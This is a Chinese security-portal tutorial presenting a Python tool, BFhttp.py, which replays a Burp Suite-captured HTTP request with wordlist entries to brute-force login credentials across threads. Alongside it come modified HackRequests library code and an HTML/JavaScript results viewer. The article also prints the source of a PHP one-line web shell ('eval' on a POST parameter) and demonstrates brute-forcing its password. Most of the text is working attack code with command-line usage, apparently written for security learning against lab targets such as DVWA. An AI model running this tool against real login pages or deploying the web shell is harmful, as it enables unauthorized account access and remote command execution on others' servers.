freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

python与Burp Suite联动暴力破解
2021-01-11 09:52:50

程序直接使用BP抓取的原包进行暴力破解

关键点:argparse库、pandas库、HackRequests库、Burp Suite。
思路:
<1>.页面提交pybf1=username&pybf2=password等格式的数据;
<2>.Burp Suite抓取原始数据包放入req.txt文件;
<3>.BFhttp.py取原始数据包将pybf1、pybf2...pybfn等替换成字典内容
<4>.利用HackRequests库暴力破解;
<5>.利用pandas库处理保存数据或保存为json数据在html页面上显示


# 演示1.暴力破解一句话木马


<1>.页面提交pybf1=username&pybf2=password等格式的数据;
一句话木马caidoa:


<?php
@eval($_POST['cmd']);
?>


<2>.Burp Suite抓取原始数据包放入req.txt文件;
<3>.BFhttp.py取原始数据包将pybf1、pybf2...pybfn等替换成字典内容
<4>.BFhttp.py利用HackRequests库暴力破解;
BFhttp.py文件源码:


# coding=utf-8

import argparse
import re
import itertools
import sys
import time

import pandas
from urllib3.connectionpool import xrange
import HackRequests

import numpy as np
import pandas as pd
import html5lib


class BFhttp(object):
def __init__(self, args):
self.args = args
self.payloads = []
self.payloadsQueue = HackRequests.queue.Queue()  # FIFO 队列中,先添加的任务先取回
self.hack = HackRequests.hackRequests()
self.result = {}
self.result2 = []
self.pwdlength = 0
self.number = 0

def parseRaw(self):
with open(self.args.reqfile) as f:
self.raw = f.read()

def parsePayloads(self):
for i in range(self.payloadLenght):
f = open(self.args.payloads[i], 'r')
for p in f:
self.payloads.append(p.rstrip())

def getOrgRes(self):
html = self.hack.httpraw(self.raw).text()
self.orgData = html

def nowTime(self):
return time.time()

def _callback(self, r: HackRequests.response,ywlstr):
if self.orgData == r.text():
bruteSate = "Same"
else:
bruteSate = "Different"

# payloads = "\"" + str(ywlstr) + "\""
# id = "\"" + str(self.number) + "\""
payloads = str(ywlstr)
id = str(self.number)

self.result.setdefault('id', []).append(id)
self.result.setdefault('payloads', []).append(payloads)
self.result.setdefault('bruteSate', []).append(bruteSate)
self.result.setdefault('status_code', []).append(r.status_code)
self.result.setdefault('text_len', []).append(len(r.text()))
self.number = self.number + 1


def saveresult(self):
data = self.result
ser1 = pd.DataFrame(data, index=pd.Series(range(self.number)))
pandas.set_option('display.width', 1000)  # 设置字符显示宽度
pandas.set_option('display.max_rows', None)  # 设置显示最大行
pandas.set_option('display.max_columns', None)  # 设置显示最大例

if self.args.outputmode == "csv":
if self.args.outfile:
f = open(self.args.outfile, 'w')
f.close()
ser1.to_csv(self.args.outfile, index=False)
message = self.args.outfile

else:
f = open('excel.xlsx', 'w')
f.close()
ser1.to_excel('example.csv', sheet_name='Sheet1')
message = 'example.csv'

if self.args.outputmode == "excel":
if self.args.outfile:
f = open(self.args.outfile, 'w')
f.close()
ser1.to_excel(self.args.outfile, sheet_name='Sheet1')
message = self.args.outfile

else:
f = open('excel.xlsx', 'w')
f.close()
ser1.to_excel('excel.xlsx', sheet_name='Sheet1')
message = 'excel.xlsx'

if self.args.outputmode == "html":
self.saveResult()
message = "Please use json.html+json.js+json.txt"

if self.args.outputmode:
print("=====================\n")
print("created:" + message + "\n")
print("=====================\n")

print(ser1)

def run(self):
self.payloadLenght = len(self.args.payloads)
self.parsePayloads()
self.payloads = list(itertools.combinations(self.payloads, self.payloadLenght))
self.payloads = list(set(self.payloads))  # 去重
self.parseRaw()
self.getOrgRes()

for p in xrange(len(self.payloads)):
self.payloadsQueue.put(self.payloads[p])  # 将 item 放入队列。

self.start()

def parseRawb(self, count, payloads):

keyWord = 'pybf' + str(count + 1)
try:
Content_Length = re.findall('Content-Length: (.*?)\n', self._raw)[0].rstrip()

if len(keyWord) > len(payloads[count - 1]):
sub = len(keyWord) - len(payloads[count - 1])
NewContent_Length = int(Content_Length) - sub
self._raw = self._raw.replace(re.findall('Content-Length: (.*?)\n', self._raw)[0].rstrip(),
str(NewContent_Length))

elif len(keyWord) < len(payloads[count - 1]):
sub = len(payloads[count - 1]) - len(keyWord)
NewContent_Length = int(Content_Length) + sub
self._raw = self._raw.replace(re.findall('Content-Length: (.*?)\n', self._raw)[0].rstrip(),
str(NewContent_Length))
except Exception as e:
pass
finally:
self._raw = self._raw.replace(keyWord, payloads[count - 1])

def start(self):
self._queue = self.payloadsQueue
self.lenght = self.payloadLenght
self._raw = self.raw

threadpool = HackRequests.threadpool(threadnum=self.args.thread, callback=self._callback, timeout=args.timeout)

while not self._queue.empty():  # .empty()如果队列为空,返回 True ,否则返回 False
payloads = self._queue.get_nowait()  # 相当于 get(False) ,从队列中移除并返回一个项目

for i in range(self.lenght):
self.parseRawb(i, payloads)
threadpool.httpraw(raw=self._raw,ywlstr=str(payloads))
self._raw = self.raw

threadpool.run()
self.saveresult()

def saveResult(self):
data = str(self.result)

if self.payloadLenght == 1:
data = data.replace('\'', '\"')
data = data.replace('"("', '\"')
data = data.replace('",)"', '\"')


else:
data = data.replace('\'', '\"')
data = data.replace('"(', '[')
data = data.replace(')"', ']')

f = open('data\data.txt', 'w')
f.write(data)
f.close()


if __name__ == '__main__':
print('''author:ywl
_   _
_ __  _   _| |_| |__   ___  _ __
| '_ \| | | | __| '_ \ / _ \| '_ \\
| |_) | |_| | |_| | | | (_) | | | |
| .__/ \__, |\__|_| |_|\___/|_| |_|
|_|    |___/
''')
parser = argparse.ArgumentParser(description="httpBruteForce Tool Ver:1.0")
parser.add_argument("-n", "--thread", metavar="", type=int, default=10, help="Thread Count default is 10")
parser.add_argument("-t", "--timeout", metavar="", type=int, default=2, help="timeout default is 2")
parser.add_argument("-r", "--reqfile", metavar="", help="raqFile")
parser.add_argument("-p", "--payloads", nargs="*", help="Payloads,pybfn...pybf2,pybf1")
parser.add_argument("-om", "--outputmode", type=str, help="outputmode: csv,excel,html")
parser.add_argument("-of", "--outfile", type=str, default="",
help="output file address,default is current location")
args = parser.parse_args()

if args.reqfile and args.payloads:
try:
BFhttp = BFhttp(args)
BFhttp.run()
except KeyboardInterrupt:
sys.exit(-1)
sys.exit(1)
else:
parser.print_help()
'''
运行步骤:
<1>.提交pybf1..
<2>.在Burp Suite抓取完整包copy入req.txt
<3>.python BFhttp.py -r req.txt -p password.txt
python BFhttp.py -r req.txt -p password.txt -om csv
python  BFhttp.py -r req.txt -p password.txt -om excel

python BFhttp.py -r req.txt -p user.txt -om html
python BFhttp.py -r req2.txt -p password.txt user.txt -om html
'''

代码筒单易懂,利用了HackRequests库的多并发,HackRequests库网上有源码,不大.为了方便记录数据,对HackRequests库的HackRequests.py的一些函数作如下修改:


def httpraw(self, raw: str, ssl: bool = False, proxy=None, location=True, ywlstr= str):
func = self.hack.httpraw
self.queue.put({"func": func, "raw": raw, "ssl": ssl,
"proxy": proxy, "location": location, "ywlstr": ywlstr})
def scan(self):
while 1:
if self.queue.qsize() > 0 and self.isContinue:
p = self.queue.get()
else:
break

func = p.pop("func")
url = p.get("url", None)
ywlstr = p.get("ywlstr", None)
try:
if url is None:
raw = p.pop('raw')
h = func(raw, **p)
else:
h = func(url, **p.get("kw"))
self._callback(h,ywlstr=ywlstr)
except Exception as e:
print(url, e)
self.changeThreadCount(-1)             

演示结果:



保存为json数据在html页面上显示:

<!--查示json数据-->
<!DOCTYPE html>
<html>
<head>
<title>结果</title>
<link href="bootstrap-3.0.0/dist/css/bootstrap.min.css" rel="stylesheet" media="screen">
<meta charset="utf-8">
<script src="jquery-3.5.1/jquery-3.5.1.min.js"></script>
<script src="json.js"></script>
</head>
<body>

<h1 align="center">[扫描结果]</h1>

<div id="json">
<table class="table table-bordered" id="python">
<thead>
<tr>
<th><p align="center">id <button id="bt1" class="glyphicon glyphicon-chevron-down btn-xs btn btn-default active"></button></p></th>
<th><p align="center">payload</p></th>
<th><p align="center">bruteSate <button id="bt3" class="glyphicon glyphicon-chevron-down btn-xs"></button></p></th>
<th><p align="center">status_code <button id="bt4" class="glyphicon glyphicon-chevron-down btn-xs"></button></p></th>
<th><p align="center">text_len <button id="bt5" class="glyphicon glyphicon-chevron-down btn-xs"></button></p></th>
</tr>
</thead>
<tbody id="tbody"></tbody>
</table>
</div>

</body>
</html>



js文件:


var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
data = JSON.parse(this.responseText);
var sort = 1;
getdata(sort);
}
};
xmlhttp.open("GET", "data.txt", true);
xmlhttp.send();

function getdata(sort,size=20){
var ids = data.id;
var payloads = data.payloads;
var bruteSates = data.bruteSate;
var status_codes = data.status_code;
var text_lens = data.text_len;
var tbody = '';

if(sort == 5){
for (var i=0; i<text_lens.length-1;i++) {
for (var j=0; j<text_lens.length-1-i;j++) {
if(text_lens[j] < text_lens[j + 1]){
var temp = text_lens[j];
text_lens[j] = text_lens[j+1];
text_lens[j+1] = temp;

var temp = ids[j];
ids[j] = ids[j+1];
ids[j+1] = temp;

var temp = payloads[j];
payloads[j] = payloads[j+1];
payloads[j+1] = temp;

var temp = bruteSates[j];
bruteSates[j] = bruteSates[j+1];
bruteSates[j+1] = temp;

var temp = status_codes[j];
status_codes[j] = status_codes[j+1];
status_codes[j+1] = temp;
}
}
}
}else if(sort == 4){
var flag = 0;
for (var i=0; i<text_lens.length;i++) {
if(status_codes[i] == 200){
var temp2 = bruteSates[i];
bruteSates[i] = bruteSates[flag];
bruteSates[flag] = temp2;

var temp2 = ids[i];
ids[i] = ids[flag];
ids[flag] = temp2;

var temp2 = payloads[i];
payloads[i] = payloads[flag];
payloads[flag] = temp2;

var temp2 = status_codes[i];
status_codes[i] = status_codes[flag];
status_codes[flag] = temp2;

var temp2 = text_lens[i];
text_lens[i] = text_lens[flag];
text_lens[flag] = temp2;

flag +=1;
}
}
}else if(sort == 3){
var flag = 0;
for (var i=0; i<text_lens.length;i++) {
if(bruteSates[i] == "Different"){
var temp2 = bruteSates[i];
bruteSates[i] = bruteSates[flag];
bruteSates[flag] = temp2;

var temp2 = ids[i];
ids[i] = ids[flag];
ids[flag] = temp2;

var temp2 = payloads[i];
payloads[i] = payloads[flag];
payloads[flag] = temp2;

var temp2 = status_codes[i];
status_codes[i] = status_codes[flag];
status_codes[flag] = temp2;

var temp2 = text_lens[i];
text_lens[i] = text_lens[flag];
text_lens[flag] = temp2;

flag +=1;
}
}
}

for (i in data.id) {
var id = ids[i];
var payload = payloads[i];
var bruteSate = bruteSates[i];
var status_code = status_codes[i];
var text_len = text_lens[i];
tbody += '<tr class="active">'+
'<td><p align="center"><span style="font-size:'+size+'px" class="badge">'+id+'</span></p></td>' +
'<td><p align="center"><span style="font-size:'+size+'px" class="badge">'+payload+'</span></p></td>' +
'<td><p align="center"><span style="font-size:'+size+'px" class="badge">'+bruteSate+'</span></p></td>' +
'<td><p align="center"><span style="font-size:'+size+'px" class="badge">'+status_code+'</span></p></td>' +
'<td><p align="center"><span style="font-size:'+size+'px" class="badge">'+text_len+'</span></p></td>' +
'</tr>';
}

var html = document.getElementById("tbody");
html.innerHTML = tbody;
}


$(document).ready(function(){
$("#bt1").click(function(){
$("button").attr("class","glyphicon glyphicon-chevron-down btn-xs");
$("#bt1").attr("class","glyphicon glyphicon-chevron-down btn-xs btn btn-default active");
history.go(0);
});

$("#bt3").click(function(){
$("button").attr("class","glyphicon glyphicon-chevron-down btn-xs");
$("#bt3").attr("class","glyphicon glyphicon-chevron-down btn-xs btn btn-default active");
getdata(3);
});

$("#bt4").click(function(){
$("button").attr("class","glyphicon glyphicon-chevron-down btn-xs");
$("#bt4").attr("class","glyphicon glyphicon-chevron-down btn-xs btn btn-default active");
getdata(4);
});

$("#bt5").click(function(){
$("button").attr("class","glyphicon glyphicon-chevron-down btn-xs");
$("#bt5").attr("class","glyphicon glyphicon-chevron-down btn-xs btn btn-default active");
getdata(5);
});
});



路径需要大家自己修改下,显示结果如下:


还可以输出为csv,excel格式文件:
python BFhttp.py -r req.txt -p password.txt -om csv -of data.csv

python BFhttp.py -r req.txt -p password.txt -om excel -of excel.xlsx

# 演示2.暴力破解DVWA



本文作者:, 转载请注明来自FreeBuf.COM

# web安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑